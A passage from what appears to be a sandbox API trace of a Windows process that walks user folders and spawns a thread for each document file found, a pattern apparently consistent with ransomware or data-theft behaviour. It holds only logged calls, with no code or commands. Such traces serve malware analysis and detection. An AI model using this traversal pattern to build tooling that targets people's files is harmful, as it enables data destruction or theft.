ftLastAccessTime.dwLowDateTime=0x6c652230, ftLastAccessTime.dwHighDateTime=0x1d5257b, ftLastWriteTime.dwLowDateTime=0x6c652230, ftLastWriteTime.dwHighDateTime=0x1d5257b, nFileSizeHigh=0x0, nFileSizeLow=0x12e71, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ui4vXJZP38C.pptx", cAlternateFileName="UI4VXJ~1.PPT")) returned 1 [0067.214] wcscmp (_String1="ui4vXJZP38C.pptx", _String2=".") returned 1 [0067.214] wcscmp (_String1="ui4vXJZP38C.pptx", _String2="..") returned 1 [0067.214] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x56) returned 0x3481a98 [0067.214] wcscpy (in: _Dest=0x3481a98, _Source="C:\\Users\\FD1HVy\\Documents" | out: _Dest="C:\\Users\\FD1HVy\\Documents") returned="C:\\Users\\FD1HVy\\Documents" [0067.215] wcscat (in: _Dest=0x3481a98, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0067.215] wcscat (in: _Dest=0x3481a98, _Source="ui4vXJZP38C.pptx" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\ui4vXJZP38C.pptx") returned="C:\\Users\\FD1HVy\\Documents\\ui4vXJZP38C.pptx" [0067.215] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3481a98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x438 [0067.215] FindNextFileW (in: hFindFile=0x3434428, lpFindFileData=0x342b478 | out: lpFindFileData=0x342b478*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96589010, ftCreationTime.dwHighDateTime=0x1d4c665, ftLastAccessTime.dwLowDateTime=0x96c1b3b0, ftLastAccessTime.dwHighDateTime=0x1d4ce1c, ftLastWriteTime.dwLowDateTime=0x96c1b3b0, ftLastWriteTime.dwHighDateTime=0x1d4ce1c, nFileSizeHigh=0x0, nFileSizeLow=0x85b0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UucwU.pps", cAlternateFileName="")) returned 1 [0067.215] wcscmp (_String1="UucwU.pps", _String2=".") returned 1 [0067.215] wcscmp (_String1="UucwU.pps", _String2="..") returned 1 [0067.215] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x48) returned 0x3481488 [0067.215] wcscpy (in: _Dest=0x3481488, _Source="C:\\Users\\FD1HVy\\Documents" | out: _Dest="C:\\Users\\FD1HVy\\Documents") returned="C:\\Users\\FD1HVy\\Documents" [0067.215] wcscat (in: _Dest=0x3481488, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0067.215] wcscat (in: _Dest=0x3481488, _Source="UucwU.pps" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\UucwU.pps") returned="C:\\Users\\FD1HVy\\Documents\\UucwU.pps" [0067.215] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3481488, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x43c [0067.216] FindNextFileW (in: hFindFile=0x3434428, lpFindFileData=0x342b478 | out: lpFindFileData=0x342b478*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69074be0, ftCreationTime.dwHighDateTime=0x1d4d1a2, ftLastAccessTime.dwLowDateTime=0x3be84540, ftLastAccessTime.dwHighDateTime=0x1d4c678, ftLastWriteTime.dwLowDateTime=0x3be84540, ftLastWriteTime.dwHighDateTime=0x1d4c678, nFileSizeHigh=0x0, nFileSizeLow=0x13f9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wapGA.ods", cAlternateFileName="")) returned 1 [0067.216] wcscmp (_String1="wapGA.ods", _String2=".") returned 1 [0067.216] wcscmp (_String1="wapGA.ods", _String2="..") returned 1 [0067.216] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x48) returned 0x34815c8 [0067.216] wcscpy (in: _Dest=0x34815c8, _Source="C:\\Users\\FD1HVy\\Documents" | out: _Dest="C:\\Users\\FD1HVy\\Documents") returned="C:\\Users\\FD1HVy\\Documents" [0067.216] wcscat (in: _Dest=0x34815c8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0067.216] wcscat (in: _Dest=0x34815c8, _Source="wapGA.ods" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\wapGA.ods") returned="C:\\Users\\FD1HVy\\Documents\\wapGA.ods" [0067.216] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34815c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x440 [0067.217] FindNextFileW (in: hFindFile=0x3434428, lpFindFileData=0x342b478 | out: lpFindFileData=0x342b478*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x382618d0, ftCreationTime.dwHighDateTime=0x1d51cca, ftLastAccessTime.dwLowDateTime=0x26356b30, ftLastAccessTime.dwHighDateTime=0x1d5460a, ftLastWriteTime.dwLowDateTime=0x26356b30, ftLastWriteTime.dwHighDateTime=0x1d5460a, nFileSizeHigh=0x0, nFileSizeLow=0x1675e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="x28CJ0j.docx", cAlternateFileName="X28CJ0~1.DOC")) returned 1 [0067.217] wcscmp (_String1="x28CJ0j.docx", _String2=".") returned 1 [0067.217] wcscmp (_String1="x28CJ0j.docx", _String2="..") returned 1 [0067.217] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4e) returned 0x3430ff0 [0067.217] wcscpy (in: _Dest=0x3430ff0, _Source="C:\\Users\\FD1HVy\\Documents" | out: _Dest="C:\\Users\\FD1HVy\\Documents") returned="C:\\Users\\FD1HVy\\Documents" [0067.217] wcscat (in: _Dest=0x3430ff0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0067.217] wcscat (in: _Dest=0x3430ff0, _Source="x28CJ0j.docx" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\x28CJ0j.docx") returned="C:\\Users\\FD1HVy\\Documents\\x28CJ0j.docx" [0067.217] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3430ff0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x448 [0067.218] FindNextFileW (in: hFindFile=0x3434428, lpFindFileData=0x342b478 | out: lpFindFileData=0x342b478*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecd18360, ftCreationTime.dwHighDateTime=0x1d54361, ftLastAccessTime.dwLowDateTime=0xd3987fe0, ftLastAccessTime.dwHighDateTime=0x1d53a27, ftLastWriteTime.dwLowDateTime=0xd3987fe0, ftLastWriteTime.dwHighDateTime=0x1d53a27, nFileSizeHigh=0x0, nFileSizeLow=0x5dfa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ysZgVumn.xlsx", cAlternateFileName="YSZGVU~1.XLS")) returned 1 [0067.218] wcscmp (_String1="ysZgVumn.xlsx", _String2=".") returned 1 [0067.218] wcscmp (_String1="ysZgVumn.xlsx", _String2="..") returned 1 [0067.218] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x50) returned 0x34312b0 [0067.218] wcscpy (in: _Dest=0x34312b0, _Source="C:\\Users\\FD1HVy\\Documents" | out: _Dest="C:\\Users\\FD1HVy\\Documents") returned="C:\\Users\\FD1HVy\\Documents" [0067.218] wcscat (in: _Dest=0x34312b0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0067.218] wcscat (in: _Dest=0x34312b0, _Source="ysZgVumn.xlsx" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\ysZgVumn.xlsx") returned="C:\\Users\\FD1HVy\\Documents\\ysZgVumn.xlsx" [0067.218] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34312b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x450 [0067.219] FindNextFileW (in: hFindFile=0x3434428, lpFindFileData=0x342b478 | out: lpFindFileData=0x342b478*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadaa6a80, ftCreationTime.dwHighDateTime=0x1d5393e, ftLastAccessTime.dwLowDateTime=0xcc405c50, ftLastAccessTime.dwHighDateTime=0x1d54b29, ftLastWriteTime.dwLowDateTime=0xcc405c50, ftLastWriteTime.dwHighDateTime=0x1d54b29, nFileSizeHigh=0x0, nFileSizeLow=0x15cfd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zEEBhqjUg4xPBLH_sa.xlsx", cAlternateFileName="ZEEBHQ~1.XLS")) returned 1 [0067.219] wcscmp (_String1="zEEBhqjUg4xPBLH_sa.xlsx", _String2=".") returned 1 [0067.219] wcscmp (_String1="zEEBhqjUg4xPBLH_sa.xlsx", _String2="..") returned 1 [0067.219] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x64) returned 0x347dcb0 [0067.219] wcscpy (in: _Dest=0x347dcb0, _Source="C:\\Users\\FD1HVy\\Documents" | out: _Dest="C:\\Users\\FD1HVy\\Documents") returned="C:\\Users\\FD1HVy\\Documents" [0067.219] wcscat (in: _Dest=0x347dcb0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0067.219] wcscat (in: _Dest=0x347dcb0, _Source="zEEBhqjUg4xPBLH_sa.xlsx" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\zEEBhqjUg4xPBLH_sa.xlsx") returned="C:\\Users\\FD1HVy\\Documents\\zEEBhqjUg4xPBLH_sa.xlsx" [0067.219] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347dcb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x454 [0067.219] FindNextFileW (in: hFindFile=0x3434428, lpFindFileData=0x342b478 | out: lpFindFileData=0x342b478*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78217ff0, ftCreationTime.dwHighDateTime=0x1d4ca9b, ftLastAccessTime.dwLowDateTime=0x2da822c0, ftLastAccessTime.dwHighDateTime=0x1d4cf1a, ftLastWriteTime.dwLowDateTime=0x2da822c0, ftLastWriteTime.dwHighDateTime=0x1d4cf1a, nFileSizeHigh=0x0, nFileSizeLow=0xd92d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zOWl_u2-Hl-SB4.pps", cAlternateFileName="ZOWL_U~1.PPS")) returned 1 [0067.220] wcscmp (_String1="zOWl_u2-Hl-SB4.pps", _String2=".") returned 1 [0067.220] wcscmp (_String1="zOWl_u2-Hl-SB4.pps", _String2="..") returned 1 [0067.220] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5a) returned 0x3427548 [0067.220] wcscpy (in: _Dest=0x3427548, _Source="C:\\Users\\FD1HVy\\Documents" | out: _Dest="C:\\Users\\FD1HVy\\Documents") returned="C:\\Users\\FD1HVy\\Documents" [0067.220] wcscat (in: _Dest=0x3427548, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0067.220] wcscat (in: _Dest=0x3427548, _Source="zOWl_u2-Hl-SB4.pps" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\zOWl_u2-Hl-SB4.pps") returned="C:\\Users\\FD1HVy\\Documents\\zOWl_u2-Hl-SB4.pps" [0067.220] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3427548, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x458 [0067.220] FindNextFileW (in: hFindFile=0x3434428, lpFindFileData=0x342b478 | out: lpFindFileData=0x342b478*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78217ff0, ftCreationTime.dwHighDateTime=0x1d4ca9b, ftLastAccessTime.dwLowDateTime=0x2da822c0, ftLastAccessTime.dwHighDateTime=0x1d4cf1a, ftLastWriteTime.dwLowDateTime=0x2da822c0, ftLastWriteTime.dwHighDateTime=0x1d4cf1a, nFileSizeHigh=0x0, nFileSizeLow=0xd92d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zOWl_u2-Hl-SB4.pps", cAlternateFileName="ZOWL_U~1.PPS")) returned 0 [0067.220] FindClose (in: hFindFile=0x3434428 | out: hFindFile=0x3434428) returned 1 [0067.221] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342b478) returned 1 [0067.221] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34342e8) returned 1 [0067.221] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34339e8) returned 1 [0067.221] RtlExitUserThread (Status=0x0) Thread: id = 271 os_tid = 0x12b4 [0063.533] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x38) returned 0x3434328 [0063.533] wcscpy (in: _Dest=0x3434328, _Source="C:\\Users\\FD1HVy\\Downloads" | out: _Dest="C:\\Users\\FD1HVy\\Downloads") returned="C:\\Users\\FD1HVy\\Downloads" [0063.533] wcscat (in: _Dest=0x3434328, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Downloads\\") returned="C:\\Users\\FD1HVy\\Downloads\\" [0063.533] wcscat (in: _Dest=0x3434328, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Downloads\\*") returned="C:\\Users\\FD1HVy\\Downloads\\*" [0063.533] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342b6e0 [0063.533] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Downloads\\*", lpFindFileData=0x342b6e0 | out: lpFindFileData=0x342b6e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc19bd8f2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc19bd8f2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3434468 [0063.534] wcscmp (_String1=".", _String2=".") returned 0 [0063.534] FindNextFileW (in: hFindFile=0x3434468, lpFindFileData=0x342b6e0 | out: lpFindFileData=0x342b6e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc19bd8f2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc19bd8f2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.534] wcscmp (_String1="..", _String2=".") returned 1 [0063.534] wcscmp (_String1="..", _String2="..") returned 0 [0063.534] FindNextFileW (in: hFindFile=0x3434468, lpFindFileData=0x342b6e0 | out: lpFindFileData=0x342b6e0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x44137e3b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x44137e3b, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce3d633b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0063.534] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0063.534] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0063.534] FindNextFileW (in: hFindFile=0x3434468, lpFindFileData=0x342b6e0 | out: lpFindFileData=0x342b6e0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x44137e3b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x44137e3b, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce3d633b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0063.534] FindClose (in: hFindFile=0x3434468 | out: hFindFile=0x3434468) returned 1 [0063.534] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342b6e0) returned 1 [0063.534] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434328) returned 1 [0063.534] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433ce8) returned 1 [0063.534] RtlExitUserThread (Status=0x0) Thread: id = 272 os_tid = 0x12b8 [0063.535] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x38) returned 0x3433ce8 [0063.535] wcscpy (in: _Dest=0x3433ce8, _Source="C:\\Users\\FD1HVy\\Favorites" | out: _Dest="C:\\Users\\FD1HVy\\Favorites") returned="C:\\Users\\FD1HVy\\Favorites" [0063.535] wcscat (in: _Dest=0x3433ce8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Favorites\\") returned="C:\\Users\\FD1HVy\\Favorites\\" [0063.535] wcscat (in: _Dest=0x3433ce8, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Favorites\\*") returned="C:\\Users\\FD1HVy\\Favorites\\*" [0063.535] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342b6e0 [0063.535] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Favorites\\*", lpFindFileData=0x342b6e0 | out: lpFindFileData=0x342b6e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd4499d75, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce2f1526, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x34345e8 [0063.536] wcscmp (_String1=".", _String2=".") returned 0 [0063.536] FindNextFileW (in: hFindFile=0x34345e8, lpFindFileData=0x342b6e0 | out: lpFindFileData=0x342b6e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd4499d75, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce2f1526, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.536] wcscmp (_String1="..", _String2=".") returned 1 [0063.536] wcscmp (_String1="..", _String2="..") returned 0 [0063.536] FindNextFileW (in: hFindFile=0x34345e8, lpFindFileData=0x342b6e0 | out: lpFindFileData=0x342b6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43598c8e, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x43b9f870, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x43b9f870, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0xd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bing.url", cAlternateFileName="")) returned 1 [0063.536] wcscmp (_String1="Bing.url", _String2=".") returned 1 [0063.536] wcscmp (_String1="Bing.url", _String2="..") returned 1 [0063.536] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x46) returned 0x341e778 [0063.536] wcscpy (in: _Dest=0x341e778, _Source="C:\\Users\\FD1HVy\\Favorites" | out: _Dest="C:\\Users\\FD1HVy\\Favorites") returned="C:\\Users\\FD1HVy\\Favorites" [0063.536] wcscat (in: _Dest=0x341e778, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Favorites\\") returned="C:\\Users\\FD1HVy\\Favorites\\" [0063.536] wcscat (in: _Dest=0x341e778, _Source="Bing.url" | out: _Dest="C:\\Users\\FD1HVy\\Favorites\\Bing.url") returned="C:\\Users\\FD1HVy\\Favorites\\Bing.url" [0067.194] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x341e778, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x374 [0067.194] FindNextFileW (in: hFindFile=0x34345e8, lpFindFileData=0x342b6e0 | out: lpFindFileData=0x342b6e0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x440792d0, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x440792d0, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce2f1526, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0067.195] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0067.195] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0067.195] FindNextFileW (in: hFindFile=0x34345e8, lpFindFileData=0x342b6e0 | out: lpFindFileData=0x342b6e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd449a79e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3be1eb23, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0067.195] wcscmp (_String1="Links", _String2=".") returned 1 [0067.195] wcscmp (_String1="Links", _String2="..") returned 1 [0067.195] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd1f0 [0067.195] wcscpy (in: _Dest=0x33fd1f0, _Source="C:\\Users\\FD1HVy\\Favorites" | out: _Dest="C:\\Users\\FD1HVy\\Favorites") returned="C:\\Users\\FD1HVy\\Favorites" [0067.195] wcscat (in: _Dest=0x33fd1f0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Favorites\\") returned="C:\\Users\\FD1HVy\\Favorites\\" [0067.195] wcscat (in: _Dest=0x33fd1f0, _Source="Links" | out: _Dest="C:\\Users\\FD1HVy\\Favorites\\Links") returned="C:\\Users\\FD1HVy\\Favorites\\Links" [0067.195] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33fd1f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x590 [0067.196] FindNextFileW (in: hFindFile=0x34345e8, lpFindFileData=0x342b6e0 | out: lpFindFileData=0x342b6e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd449a79e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3be1eb23, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 0 [0067.196] FindClose (in: hFindFile=0x34345e8 | out: hFindFile=0x34345e8) returned 1 [0067.196] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342b6e0) returned 1 [0067.196] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433ce8) returned 1 [0067.196] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433d28) returned 1 [0067.196] RtlExitUserThread (Status=0x0) Thread: id = 273 os_tid = 0x12bc [0063.536] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x30) returned 0x347d240 [0063.536] wcscpy (in: _Dest=0x347d240, _Source="C:\\Users\\FD1HVy\\Links" | out: _Dest="C:\\Users\\FD1HVy\\Links") returned="C:\\Users\\FD1HVy\\Links" [0063.537] wcscat (in: _Dest=0x347d240, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Links\\") returned="C:\\Users\\FD1HVy\\Links\\" [0063.537] wcscat (in: _Dest=0x347d240, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Links\\*") returned="C:\\Users\\FD1HVy\\Links\\*" [0063.537] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3428458 [0063.537] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Links\\*", lpFindFileData=0x3428458 | out: lpFindFileData=0x3428458*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x9463e5c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x9463e5c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3434128 [0063.537] wcscmp (_String1=".", _String2=".") returned 0 [0063.537] FindNextFileW (in: hFindFile=0x3434128, lpFindFileData=0x3428458 | out: lpFindFileData=0x3428458*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x9463e5c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x9463e5c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.537] wcscmp (_String1="..", _String2=".") returned 1 [0063.537] wcscmp (_String1="..", _String2="..") returned 0 [0063.537] FindNextFileW (in: hFindFile=0x3434128, lpFindFileData=0x3428458 | out: lpFindFileData=0x3428458*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x441f699e, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x441f699e, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xcee4480b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0063.537] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0063.537] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0063.537] FindNextFileW (in: hFindFile=0x3434128, lpFindFileData=0x3428458 | out: lpFindFileData=0x3428458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4428f2bb, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x4428f2bb, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce90d59d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.lnk", cAlternateFileName="")) returned 1 [0063.537] wcscmp (_String1="Desktop.lnk", _String2=".") returned 1 [0063.537] wcscmp (_String1="Desktop.lnk", _String2="..") returned 1 [0063.537] FindNextFileW (in: hFindFile=0x3434128, lpFindFileData=0x3428458 | out: lpFindFileData=0x3428458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x442b54f3, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x442b54f3, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xcec7abde, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x3ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloads.lnk", cAlternateFileName="DOWNLO~1.LNK")) returned 1 [0063.537] wcscmp (_String1="Downloads.lnk", _String2=".") returned 1 [0063.537] wcscmp (_String1="Downloads.lnk", _String2="..") returned 1 [0063.537] FindNextFileW (in: hFindFile=0x3434128, lpFindFileData=0x3428458 | out: lpFindFileData=0x3428458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3190fb5, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x9463e5c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x94664823, 